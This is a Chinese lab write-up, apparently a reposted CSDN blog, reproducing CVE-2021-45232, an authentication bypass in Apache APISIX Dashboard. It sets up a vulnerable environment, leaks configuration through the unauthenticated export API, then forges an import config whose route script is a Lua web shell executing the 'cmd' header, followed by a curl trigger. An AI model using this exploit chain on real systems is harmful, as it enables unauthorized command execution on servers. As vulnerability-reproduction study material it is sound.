CVE-2021-45232漏洞复现

1.漏洞介绍

编号: CVE-2021-45232
组件: APISIX
漏洞类型: 身份验证绕过
影响: 身份验证绕过
简述: 在2.10.1之前的Apache APISIX Dashboard中,Manager API使用了两个框架,并在框架‘gin’的基础上引入了框架‘droplet’,所有的API和认证中间件都是基于框架‘droplet’开发的,但有些API直接使用框架‘gin’的接口,从而绕过了认证。
版本影响 :
apache: 2.7.0 < APISIX Dashboard< 2.10.1	2.10.1

2.漏洞环境搭建

git clone https://github.com/apache/apisix-docker
cd ./apisix-docker/example

首先,修改该目录下配置项,如图version版本修改为2,apisix-dashboard版本修改为2.8在这里插入图片描述

# 下载并启动环境
docker-compose up -d

接下来进行一些简单配置,模拟实战环境

默认登陆地址:ip:9000
默认用户名密码:admin/admin

切换路由选项,选择创建
在这里插入图片描述
在这里插入图片描述

名字随便起,一会会用到
在这里插入图片描述
目标节点随意,直接下一步
在这里插入图片描述
一路下一步,直接提交即可
在这里插入图片描述
路由界面即可看到我们的配置
在这里插入图片描述

3.漏洞验证

# 直接访问即可
ip:port/apisix/admin/migrate/export

这里出现了配置文件泄漏
在这里插入图片描述
看一下,正是我们刚刚配置的路由,已经泄漏出来
在这里插入图片描述

4 漏洞利用

主要利用过程就是在接口路由中执行一个扩展脚本 , 通过他执行系统命令。
这里先手动测试一下。
在这里插入图片描述
注意这里的的配置文件是可以修改的,script直接加上就行
在这里插入图片描述
然后进行访问http://ip:9000/test。(test就是上面创建的路由名称)
进入容器查看:这里注意的是。最终脚本执行不是在9000端口的容器里,而是在管理的apache/apisix 的 9080端口的容器里如图
在这里插入图片描述
在这里插入图片描述

OK,接下来就是如何在创建一个含恶意脚本的路由配置
这里用到了dashboard导入配置
根据emport导出的配置伪造一个配置文件

eval_config = {
    
    
    "Consumers": [],
    "Routes": [
        {
    
    
            "id": str(random.randint(100000000000000000, 1000000000000000000)),
            "create_time": 1641259840,
            "update_time": 1641260783,
            "uri": "/evil",
            "name": "evil",
            "methods": ["GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE"],
            "script":"local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
            "upstream":
            {
    
    
                "nodes":
                [{
    
    "host": "1.1.1.1", "port": 8080, "weight": 1}],
                "timeout": {
    
    "connect": 6, "send": 6, "read": 6},
                "type": "roundrobin",
                "scheme": "http",
                "pass_host": "pass",
                "keepalive_pool": {
    
    "idle_timeout": 60, "requests": 1000, "size": 320}
            },
            "status": 1
        }
    ],
    "Services": [],
    "SSLs": [],
    "Upstreams": [],
    "Scripts": [],
    "GlobalPlugins": [],
    "PluginConfigs": []
}

# POST传递数据:
# 注意需要添加CRC32校验位
    files = {
    
    "file": ("data", data + crc32, "text/data")}
    resp = requests.post(url + "/apisix/admin/migrate/import", files=files)

直接攻击:

curl http://ip:port/evil -H cmd:ls

如图攻击成功
在这里插入图片描述

5.遇到的问题

5.1 apisix-dashboard报错:The manager-api and apache apisix are mismatched.

似乎是dashboard2.7版本与最新版apache apisix不兼容导致的,把dashboard改为2.7以上版本就好了,在这里我改为了2.8版本

5.2 apisix-dashboard一直转圈

在这里插入图片描述

刷新即可,千万不要在哪傻傻的等,(っ °Д °;)っ
参考文章

猜你喜欢

转载自blog.csdn.net/weixin_44411509/article/details/122292459